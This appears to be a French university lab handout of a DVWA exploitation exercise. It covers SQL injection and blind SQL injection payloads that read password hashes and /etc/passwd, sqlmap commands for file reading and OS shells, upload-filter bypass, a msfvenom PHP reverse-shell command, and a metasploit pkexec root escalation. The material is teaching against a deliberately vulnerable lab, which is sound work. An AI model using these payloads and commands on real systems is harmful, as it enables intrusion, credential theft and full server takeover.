"SELECT first_name, last_name FROM users WHERE user_id = '1'''"

Nous remarquons alors qu’il n’y a plus d’erreur, ici, on peut donc espérer inclure du code dans la requête SQL, plus exactement rajouter des informations dans la requête SQL

"SELECT first_name, last_name FROM users WHERE user_id = '1' Informations ajoutées dans la requête SQL sans occasionner d'erreur''"

Faisons simple pour l’instant en essayant d’afficher plus d’un utilisateur : 0′ OR user_id >’

"SELECT first_name, last_name FROM users WHERE user_id = '1' OR user_id >'"



Voici le résultat que l’on pourra voir :

Ce que nous voyons ici est donc une modification de la requête SQL passée par le script PHP. Au lieu de simplement demander l’affichage des informations pour l’utilisateur ayant l’ID « 1 », on a demandé l’affichage des informations pour l’utilisateur dont l’ID est 1 OU ID supérieur à rien (nous aurions pu mettre mettre 0), ce qui a pour effet d’afficher les informations de tous les utilisateurs. Si nous voulons aller plus loin dans l’attaque, nous pouvons essayer de deviner le nom de la colonne contenant les mots de passe puis de les afficher grâce à une requête “UNION” permettant de joindre une autre requête SELECT, exemple : 1′ UNION select password, last_name from users#

"SELECT first_name, last_name FROM users WHERE user_id = '1' UNION select password, last_name from users#"

Ici, nous arrivons donc à exploiter la faille SQL injection afin d’afficher directement les mots de passe des utilisateurs dans la page de réponse, ou plutôt le hash des mots de passe utilisateurs :



Il est aussi possible d’afficher un fichier local du serveur, notamment via “load_file“, qui est une syntaxe permettant la lecture de contenus locaux pour les intégrer à la réponse SQL : LOAD DATA INFILE Syntax

' union all select load_file('/etc/passwd'),null #

Résultat :

https://dev.mysql.com/doc/refman/5.1/en/load-data.html



Nous avons vu qu’afin de réaliser l’injection SQL, il est important de connaitre le nombre de colonnes de la table.

La requête « 1’ UNION SELECT version(), null # » nous permet de connaitre la version de mysql utilisée.

4.8.2.2 Exploitation automatisée

Sqlmap est un outil permettant d’exploiter les vulnérabilités de type injection sql.

Commandes : https://github.com/sqlmapproject/sqlmap/wiki/Usage

Selon la configuration de la machine vulnérable, il est possible de réaliser de nombreuses actions (bien plus que de seulement récupérer / modifier le contenu des tables). Il est aussi possible de lire des fichiers sur le serveur et aussi d’uploader des fichiers.

Il faut tout d’abord récupérer l’url vulnérable :

Note : si vous avez une erreur sous sqlmap de type « error redirect », et que l’injection ne fonctionne pas c’est qu’il est très probable que l’accès à la page qui contient l’injection sql nécessite une authentification… Il faut alors récupérer le cookie de session et l’indiquer à sqlmap avec l’option –cookie

https://github.com/sqlmapproject/sqlmap/wiki/Usage



Utiliser sqlmap pour :

- Récupérer les données de la table users de dvwa - Récupérer le fichier /etc/passwd (option sqlmap : –file-read)

python sqlmap.py -u "http://192.168.1.77/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=4rniiq6gbrueoinsosvcf3ok25; security=low" --file-read=/etc/passwd

- Obtenir un shell. Il est aussi possible un shell à partir d’une ligne de commande. En utilisant des fonctionnalités sql, il est possible d’écrire un fichier sur le système. Par contre, cela nécessite un répertoire accessible en écriture sur le serveur. (utiliser le répertoire /opt/lampp/htdocs/hackable/uploads) (options –os-shell)





5 Blind SQL Injection

5.1 Description

Les injections SQL à l’aveugle (blind SQL injection) sont très proches des injections SQL classiques, à une différence majeure : l’absence de l’affichage d’erreur permettant de “guider” une injection SQL standard. En effet, nous avons vu que dans le cadre de l’injection SQL, celle-ci est repérée lorsque l’on arrive à avoir comme retour à notre requête une erreur SQL. Techniquement, le non affichage des erreurs SQL est due à l’absence, dans le code source, du code PHP suivant :

or die('<pre>' . mysql_error() . '</pre>' );

Celui-ci permet de renvoyer l’erreur indiquée par la base de données “mysql_error()” directement dans la page HTML entre les balises d’affichage “pre” . On obtient donc un retour sur la nature de l’erreur.

Dans le cadre de l’exploitation d’une injection SQL à l’aveugle, le terme « aveugle » signifie que l’on va devoir exploiter la vulnérabilité sans avoir la possibilité de voir les erreurs SQL car le code renvoyant les erreurs est absent dans la page PHP (par mesure de sécurité ou car le serveur n’affiche pas les erreurs du serveur). Nous allons devoir effectuer un ensemble de tests et de requêtes et en fonction des résultats, cela indiquera que nous sommes parvenus à modifier la requête SQL (ou non).

Dans le cas présent, nous savons que la valeur à envoyer est un chiffre. Le chiffre correspond à l’ID de l’utilisateur (1 renvoie admin, 2 gordon, etc.)



Il faut savoir que les requêtes SQL acceptent assez bien les opérations mathématiques. En règle générale dans un requête SQL, si l’on envoie “1+1″ , cela sera automatiquement traduit par “2” . Cela peut dans notre cas être utile pour voir à quel point l’on peut modifier la requête SQL envoyée au serveur de base de données. Savoir si nous pouvons modifier la requête SQL, nous permet de savoir si nous pouvons réaliser une injection SQL. En cas d’envoi de la valeur « 1+1 » dans le formulaire, nous avons en réponse les informations de l’utilisateur “Gordon” (l’utilisateur qui a l’ID 2) :

Si l’on envoie “2-1” , nous avons les informations de l’utilisateur “admin” :

Que peut-on en déduire ?

Il n’y a pas de contrôle précis dans le code PHP, en tout cas pas de contrôle vérifiant que la donnée envoyée est purement un nombre sans caractère spécial par exemple

On peut modifier la requête SQL avec les données que l’on envoie On peut alors tenter d’aller plus loin en reprenant les exploits utilisés dans le niveau “low” et “medium” d’Injection SQL : On arrive donc à modifier la requête en y ajoutant des données supplémentaires, signe qu’une Injection SQL est possible

5.2 Exploitation

5.2.1 Exploitation simple

Nous allons par exemple détecter la version du serveur mysql.

Avec l’injection SQL classique, nous avons pu directement récupérer le numéro de la version du serveur mysql utilisé avec la requête suivante :

http://www.information-security.fr/wp-content/uploads/2015/08/attaque-sql-injection-dvwa-05.jpg

http://www.information-security.fr/wp-content/uploads/2015/08/attaque-sql-injection-dvwa-06.jpg



1’ UNION select version(),null#

Dans le cadre d’une requête d’injection SQL à l’aveugle, nous allons de voir tester le numéro de la version jusqu’à ce que le serveur nous réponde vrai (plutôt que de l’obtenir directement comme avec une requête classique) :

Si nous exécutons cette même requête pour l’injection SQL à l’aveugle, nous n’obtenons pas de résultat.

Comme dit précédemment, le serveur nous répond par vrai ou faux (pas de réponse).

Par exemple, la requête suivante demande si la version de mysql est égale à 4 (« 'OR version()='4' -- ';)

”

Pas de réponse. (ce qui signifie que la réponse est fausse)

Nous demandons ensuite si la version est 5. Pas de réponse aussi.



Par contre, si nous demandons si la version du serveur mysql est 5.1.41 (ce numéro a été récupéré lors de l’injection SQL classique), nous avons une réponse du serveur ce qui signifie que la réponse est vraie (et que la version du serveur mysql est bien égale à 5.1.41).

Dans un cas réel, nous aurions dû automatiser la requête pour trouver la bonne réponse (la version du serveur mysql est-elle égale à 3 ? égale à 3.1 ? égale à 3.2 ? etc.) jusqu’à ce que le serveur nous réponde vrai.

Concernant les outils d’exploitation, sqlmap supporte les injections sql à l’aveugle. Il existe aussi de nombreux autres outils dont bbqsql (https://github.com/Neohapsis/bbqsql).

https://github.com/Neohapsis/bbqsql



5.3 Upload

5.3.1 Description

Les failles de sécurité de type File Upload se caractérisent généralement par la possibilité d’envoyer des fichiers de façon un peu trop libre sur l’application web visée. Généralement, un formulaire d’upload de fichier est mis en place pour différentes raisons. Cela peut par exemple être afin d’uploader une image de profil, de partager des fichiers ou des images avec des collaborateurs, etc. Quoi qu’il en soit, une faille de type File Upload est exploitée lorsqu’un pirate se sert de la possibilité de charger un fichier sur le serveur à des fins non prévues, par exemple :

- Saturer l’espace disque du serveur avec des fichiers trop lourds - Charger des scripts lui permettant d’exécuter des actions sur le serveur

En effet, il faut savoir que par “fichier”, on entend aussi bien des images ou des documents standard, mais également des scripts et bouts de code (PHP par exemple). Cela est très dangereux, car un attaquant qui arrive à uploader un webshell sur le serveur web ciblé possèdera alors une possibilité d’action importante.

Lien : https://www.information-security.fr/dvwa-solutions-protections-file-inclusion-xss/

5.3.2 Exploitation


En niveau « facile » sur dvwa, il n’y a pas de contrôle les extensions uploadées. Uploader un shell php via la fonctionnalité upload puis y accéder.

https://www.information-security.fr/dvwa-solutions-protections-file-inclusion-xss/




5.3.2.2.1 Exploitation avec Burp

Mettre la sécurité dvwa à medium et utiliser Burp pour upoloader un webshell

Cette fois, il y a un contrôle des extensions qui est réalisé.

Il y a un contrôle sur le content-type pour éviter l’uploader de fichiers potentiellement dangereux comme php.

Il suffit alors de mettre un content-Type valide comme image-jpeg pour outrepasser le contrôle.



5.3.2.2.2 Exploitation avec Metasploit

L’idée est de générer un webshell avec metasploit, de l’uploader sur la plate-forme et de l’exécuter :

- Génération d’un meterpreter php :

msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php

msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.32 LPORT=9999 -f raw > shell.php

attention modifier les premiers caractères du fichier shell.php pour supprimer les caractères /* (bug de msfvenom)

- Configurer metasploit pour être en attente de connexion

Sur l’interface web, on tente d’uploader le fichier shell.php

On obtient un message d’erreur, car notre fichier possède une extension non autorisée (.php)



On renomme notre fichier en shell.php.jpg

Si on tente d’uploader le fichier, ceci fonctionnera, mais nous ne pourrons pas exécuter le fichier (car une extension en jpg). Comme le contrôle de l’extension est réalisé sur la page (par une fonction javascript), on intercepte la requête lors de l’upload et on renomme notre fichier à la volée.

Cette fois-ci, notre fichier a bien été uploadé avec une extension php et nous pouvons ainsi l’exécuter.



Il ne reste plus qu’accéder au fichier :

Une fois exécuté, l’ouverture de session est réalisée dans metasploit :



6 Aller plus loin

6.1 Comptes faibles FTP

Ouvrir une session metasploit avec les identifiants ftp découverts par nessus.

Rechercher le module metasploit correspondant (sous metasploit, taper : search ftp pour trouver la liste des modules ftp)

6.2 Elévation de privilèges

6.2.1 Description

Les pirates recherchent souvent le contrôle complet d'un système informatique afin de pouvoir s'en servir à leur profit. Lorsqu'un pirate commence par un compte utilisateur compromis et parvient ensuite à augmenter ou élever les privilèges d'utilisateur individuel qu'il possède pour parvenir à des privilèges administratifs complets ou « racine », nous pouvons donner à ces attaques le nom d'élévation de privilèges verticale.

Le compte obtenu par l’exploitation de vulnérabilités a des droits limités (compte <www-data> utilisé par le processus Apache).

La prochaine étape est donc d’obtenir les droits du compte administrateur (root) ce qui nous permettra d’effectuer toutes les actions que nous souhaitons : installation d’une porte dérobée, effacement des fichiers logs, cassage des comptes utilisateurs, etc

Pour élever nos privilèges, on utilise souvent un exploit local. Maintenant comment trouver la vulnérabilité à utiliser ? La clé est l’énumération, qui comprend : - Enumération du système d’exploitation

- Enumération des services et des applications

- Enumération du système de fichiers

- Enumération des informations confidentielles

- Enumération des connexions réseau Il s’agit d’abord de récupérer le maximum d’informations, puis une fois des vulnérabilités détectées, d’exploiter l’une d’elles.

Plus d’informations sont disponibles ici :

- https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/ - http://resources.infosecinstitute.com/privilege-escalation-linux-live-examples/#gref -

6.2.2 Exploitation


https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

http://resources.infosecinstitute.com/privilege-escalation-linux-live-examples/#gref



Metasploit possède des modules pour élever ses privilèges (encore faut-il savoir lequel utiliser…)

Pour vous entrainer, voici l’exploit local à utiliser sous metasploit : exploit/linux/local/pkexec

Méthodo :

- Obtenir un shell avec le meterpreter sur dvwa - Laisser la session ouverte commande background) - Utiliser l’exploit suivant :

o exploit/linux/local/pkexec - indiquer la session du meterpreter - enjoy in root

Exemple :


Il existe un outil pour collecter de nombreuses informations sur un système et ainsi pouvoir découvrir la/les vulnérabilité(s) à exploiter.

Le script est fourni avec ce tp, il s’agit de linuxprivchecker.py.

L’idée est tout d’abord d’obtenir un accès au système, d’uploader le script sur le serveur puis de l’exécuter.



Le script donne de nombreuses informations et suggère des vulnérabilités à utiliser selon la version du système détectée.

Exécuter le script et analyser les résultats obtenus. Regarder et exécuter les exploits suggérés.

Vous pouvez consulter le lien suivant qui donne un exemple d’exploitation : https://dook.biz/tag/privesc/

https://dook.biz/tag/privesc/

Documents

DVWA · UE Cybersécurité DVWA 09/11/18 Classification : Public 4 / 58 1 Objet du document Ce document a pour objet de présenter les techniques d’exploitation offensive